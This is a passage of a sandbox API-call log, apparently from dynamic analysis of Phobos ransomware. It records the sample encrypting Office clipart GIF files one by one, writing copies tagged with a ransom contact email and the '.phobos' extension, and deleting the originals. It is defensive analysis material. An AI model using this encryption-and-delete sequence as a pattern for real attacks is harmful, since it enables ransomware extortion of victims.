lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=15308) returned 1 [0055.863] CloseHandle (hObject=0x320) returned 1 [0055.864] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif")) returned 0x220 [0055.864] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0055.864] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0055.864] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0055.864] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0055.864] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0055.868] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10d0b0) returned 1 [0055.868] CryptSetKeyParam (hKey=0x10d0b0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0055.868] ReadFile (in: hFile=0x320, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x3bcc, lpOverlapped=0x0) returned 1 [0055.876] CryptEncrypt (in: hKey=0x10d0b0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x3bd0, dwBufLen=0x3bd0 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x3bd0) returned 1 [0055.876] WriteFile (in: hFile=0x340, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x3bd0, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x3bd0, lpOverlapped=0x0) returned 1 [0055.878] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10cdf0) returned 1 [0055.878] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0055.878] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0055.878] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0055.878] WriteFile (in: hFile=0x340, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0055.878] CryptDestroyKey (hKey=0x10d0b0) returned 1 [0055.879] CloseHandle (hObject=0x320) returned 1 [0055.879] CloseHandle (hObject=0x340) returned 1 [0055.880] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif")) returned 1 [0055.881] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0055.881] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0055.885] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=4955) returned 1 [0055.885] CloseHandle (hObject=0x320) returned 1 [0055.885] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif")) returned 0x220 [0055.885] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0055.885] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0055.885] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0055.885] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0055.885] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0055.885] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10cff0) returned 1 [0055.885] CryptSetKeyParam (hKey=0x10cff0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0055.885] ReadFile (in: hFile=0x320, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x135b, lpOverlapped=0x0) returned 1 [0055.919] CryptEncrypt (in: hKey=0x10cff0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x1360, dwBufLen=0x1360 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x1360) returned 1 [0055.919] WriteFile (in: hFile=0x2e4, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x1360, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x1360, lpOverlapped=0x0) returned 1 [0055.919] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10cc30) returned 1 [0055.920] CryptSetKeyParam (hKey=0x10cc30, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0055.920] CryptEncrypt (in: hKey=0x10cc30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0055.920] CryptDestroyKey (hKey=0x10cc30) returned 1 [0055.920] WriteFile (in: hFile=0x2e4, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0055.920] CryptDestroyKey (hKey=0x10cff0) returned 1 [0055.920] CloseHandle (hObject=0x320) returned 1 [0055.920] CloseHandle (hObject=0x2e4) returned 1 [0055.921] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif")) returned 1 [0055.922] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0055.922] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0055.922] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=7583) returned 1 [0055.922] CloseHandle (hObject=0x2e4) returned 1 [0055.923] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif")) returned 0x220 [0055.923] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0055.923] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0055.923] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0055.923] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0055.923] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0055.923] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10cb70) returned 1 [0055.923] CryptSetKeyParam (hKey=0x10cb70, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0055.923] ReadFile (in: hFile=0x2e4, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x1d9f, lpOverlapped=0x0) returned 1 [0055.978] CryptEncrypt (in: hKey=0x10cb70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x1da0, dwBufLen=0x1da0 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x1da0) returned 1 [0055.979] WriteFile (in: hFile=0x320, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x1da0, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x1da0, lpOverlapped=0x0) returned 1 [0055.979] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10cdf0) returned 1 [0055.979] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0055.979] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0055.980] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0055.980] WriteFile (in: hFile=0x320, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0055.980] CryptDestroyKey (hKey=0x10cb70) returned 1 [0055.980] CloseHandle (hObject=0x2e4) returned 1 [0055.980] CloseHandle (hObject=0x320) returned 1 [0055.980] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif")) returned 1 [0055.981] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0055.981] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0055.982] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=6984) returned 1 [0055.982] CloseHandle (hObject=0x320) returned 1 [0055.982] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif")) returned 0x220 [0055.982] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0055.982] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0055.982] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0055.982] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0055.982] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0055.983] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10cab0) returned 1 [0055.983] CryptSetKeyParam (hKey=0x10cab0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0055.983] ReadFile (in: hFile=0x320, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x1b48, lpOverlapped=0x0) returned 1 [0055.991] CryptEncrypt (in: hKey=0x10cab0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x1b50, dwBufLen=0x1b50 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x1b50) returned 1 [0055.991] WriteFile (in: hFile=0x2e4, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x1b50, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x1b50, lpOverlapped=0x0) returned 1 [0055.992] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10cb30) returned 1 [0055.992] CryptSetKeyParam (hKey=0x10cb30, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0055.992] CryptEncrypt (in: hKey=0x10cb30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0055.992] CryptDestroyKey (hKey=0x10cb30) returned 1 [0055.992] WriteFile (in: hFile=0x2e4, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0055.992] CryptDestroyKey (hKey=0x10cab0) returned 1 [0055.992] CloseHandle (hObject=0x320) returned 1 [0055.992] CloseHandle (hObject=0x2e4) returned 1 [0055.993] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif")) returned 1 [0055.994] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0055.994] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0056.001] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=8582) returned 1 [0056.001] CloseHandle (hObject=0x308) returned 1 [0056.001] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif")) returned 0x220 [0056.001] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0056.002] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0056.002] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0056.002] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0056.002] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0056.003] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10cc70) returned 1 [0056.003] CryptSetKeyParam (hKey=0x10cc70, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0056.003] ReadFile (in: hFile=0x308, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x2186, lpOverlapped=0x0) returned 1 [0056.066] CryptEncrypt (in: hKey=0x10cc70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x2190, dwBufLen=0x2190 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x2190) returned 1 [0056.066] WriteFile (in: hFile=0x31c, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x2190, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x2190, lpOverlapped=0x0) returned 1 [0056.067] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10cdf0) returned 1 [0056.067] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0056.067] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0056.067] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0056.067] WriteFile (in: hFile=0x31c, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0056.068] CryptDestroyKey (hKey=0x10cc70) returned 1 [0056.068] CloseHandle (hObject=0x308) returned 1 [0056.068] CloseHandle (hObject=0x31c) returned 1 [0056.069] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif")) returned 1 [0056.070] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0056.070] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0056.070] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=9248) returned 1 [0056.070] CloseHandle (hObject=0x31c) returned 1 [0056.070] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif")) returned 0x220 [0056.070] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0056.070] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0056.071] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0056.071] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0056.071] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0056.071] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10d0b0) returned 1 [0056.071] CryptSetKeyParam (hKey=0x10d0b0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0056.071] ReadFile (in: hFile=0x31c, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x2420, lpOverlapped=0x0) returned 1 [0056.085] CryptEncrypt (in: hKey=0x10d0b0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x2430, dwBufLen=0x2430 | out: 